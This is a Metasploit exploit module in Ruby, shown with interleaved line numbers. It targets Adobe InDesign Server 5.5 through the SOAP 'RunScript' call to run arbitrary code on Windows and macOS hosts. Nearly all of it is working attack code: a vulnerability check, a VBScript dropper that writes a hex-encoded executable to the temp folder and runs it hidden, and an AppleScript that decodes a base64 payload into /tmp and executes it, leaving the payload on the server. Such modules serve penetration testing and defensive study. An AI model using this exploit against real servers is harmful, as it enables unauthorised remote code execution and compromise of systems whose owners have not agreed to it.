Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::EXE
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution',
15
      'Description'    => %q{
16
          This module abuses the "RunScript" procedure provided by the SOAP interface of
17
        Adobe InDesign Server, to execute arbitrary vbscript (Windows) or applescript (OSX).
18

19
        The exploit drops the payload on the server and must be removed manually.
20
      },
21
      'Author'         =>
22
        [
23
          'h0ng10', # Vulnerability discovery / Metasploit module
24
          'juan vazquez' # MacOSX target
25
        ],
26
      'License'        => MSF_LICENSE,
27
      'Platform'       => %w{ osx win },
28
      'Privileged'     => false,
29
      'DisclosureDate' => '2012-11-11',
30
      'References'     =>
31
        [
32
          [ 'OSVDB', '87548'],
33
          [ 'URL', 'http://web.archive.org/web/20130119134644/http://secunia.com/advisories/48572/' ]
34
        ],
35
      'Targets'        =>
36
        [
37
          [
38
            'Indesign CS6 Server / Windows (64 bits)',
39
            {
40
              'Arch'     => ARCH_X64,
41
              'Platform' => 'win'
42
            }
43
          ],
44
          [
45
            'Indesign CS6 Server / Mac OS X Snow Leopard 64 bits',
46
            {
47
              'Arch'     => ARCH_X64,
48
              'Platform' => 'osx'
49
            }
50
          ]
51
        ],
52
      'DefaultTarget'  => 0
53
    ))
54

55
    register_options( [ Opt::RPORT(12345) ])
56
  end
57

58

59
  def send_soap_request(script_code, script_type)
60
    script_code.gsub!(/&/, '&amp;')
61
    soap_xml = %Q{
62
<?xml version="1.0" encoding="UTF-8"?>
63
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
64
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
65
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:IDSP="http://ns.adobe.com/InDesign/soap/">
66
  <SOAP-ENV:Body>
67
    <IDSP:RunScript>
68
      <IDSP:runScriptParameters>
69
        <IDSP:scriptText>#{script_code}</IDSP:scriptText>
70
        <IDSP:scriptLanguage>#{script_type}</IDSP:scriptLanguage>
71
      </IDSP:runScriptParameters>
72
    </IDSP:RunScript>
73
  </SOAP-ENV:Body>
74
</SOAP-ENV:Envelope>
75
}
76

77
    res = send_request_cgi({
78
      'uri'          => '/',
79
      'method'       => 'POST',
80
      'content-type' => 'application/x-www-form-urlencoded',
81
      'data'         => soap_xml,
82
    }, 5)
83
  end
84

85

86
  def check()
87
    # Use a very simple javascript
88
    check_var = rand_text_numeric(10)
89
    checkscript =  'returnValue = "' + check_var + '"'
90

91
    res = send_soap_request(checkscript, "javascript")
92

93
    return Exploit::CheckCode::Vulnerable if res.body.include?('<data xsi:type="xsd:string">' + check_var + '</data>')
94

95
    return Exploit::CheckCode::Safe
96
  end
97

98
  def exploit
99

100
    if target.name =~ /Windows/
101
      print_status("Creating payload vbs script")
102
      encoded_payload = generate_payload_exe().unpack("H*").join
103
      exe_file = Rex::Text.rand_text_alpha_upper(8) + ".exe"
104
      wsf = Rex::Text.rand_text_alpha(8)
105
      payload_var = Rex::Text.rand_text_alpha(8)
106
      exe_name_var = Rex::Text.rand_text_alpha(8)
107
      file_var = Rex::Text.rand_text_alpha(8)
108
      byte_var = Rex::Text.rand_text_alpha(8)
109
      shell_var = Rex::Text.rand_text_alpha(8)
110

111
      # This one creates a smaller vbs payload (without deletion)
112
      vbs = %Q{
113
Set #{wsf} = CreateObject("Scripting.FileSystemObject")
114
#{payload_var}  = "#{encoded_payload}"
115
#{exe_name_var} =  #{wsf}.GetSpecialFolder(2) + "\\#{exe_file}"
116
Set #{file_var} = #{wsf}.opentextfile(#{exe_name_var}, 2, TRUE)
117
For x = 1 To Len(#{payload_var})-3 Step 2
118
  #{byte_var} = Chr(38) & "H" & Mid(#{payload_var}, x, 2)
119
  #{file_var}.write Chr(#{byte_var})
120
Next
121

122
#{file_var}.write Chr(#{byte_var})
123
#{file_var}.close
124

125
Set #{shell_var} = CreateObject("Wscript.Shell")
126
#{shell_var}.Run Chr(34) & #{exe_name_var} & Chr(34), 0, False
127
Set #{shell_var} = Nothing
128
returnValue = #{exe_name_var}
129
      }
130
      #	vbs = Msf::Util::EXE.to_exe_vbs(exe)
131
      print_status("Sending SOAP request")
132

133
      res = send_soap_request(vbs, "visual basic")
134
      if res != nil and res.body != nil then
135
        file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0]
136
        print_warning "Payload deployed to #{file_to_delete.to_s}, please remove manually"
137
      end
138

139
    elsif target.name =~ /Mac OS X/
140

141
      print_status("Creating payload apple script")
142

143
      exe_payload = generate_payload_exe
144
      b64_exe_payload = Rex::Text.encode_base64(exe_payload)
145
      b64_payload_name = rand_text_alpha(rand(5) + 5)
146
      payload_name = rand_text_alpha(rand(5) + 5)
147

148
      apple_script = %Q{
149
set fp to open for access POSIX file "/tmp/#{b64_payload_name}.txt" with write permission
150
write "begin-base64 644 #{payload_name}\n#{b64_exe_payload}\n====\n" to fp
151
close access fp
152
do shell script "uudecode -o /tmp/#{payload_name} /tmp/#{b64_payload_name}.txt"
153
do shell script "rm /tmp/#{b64_payload_name}.txt"
154
do shell script "chmod +x /tmp/#{payload_name}"
155
do shell script "/tmp/#{payload_name}"
156
set returnValue to "/tmp/#{payload_name}"
157
      }
158

159
      print_status("Sending SOAP request")
160

161
      res = send_soap_request(apple_script, "applescript")
162

163
      if res != nil and res.body != nil then
164
        file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0]
165
        file_to_delete = "/tmp/#{payload_name}" if file_to_delete.nil? or file_to_delete.empty?
166
        print_warning "Payload deployed to #{file_to_delete.to_s}, please remove manually"
167
      elsif not res
168
        print_status "No response, it's expected"
169
        print_warning "Payload deployed to /tmp/#{payload_name}, please remove manually"
170
      end
171

172
    end
173

174
  end
175
end
176

177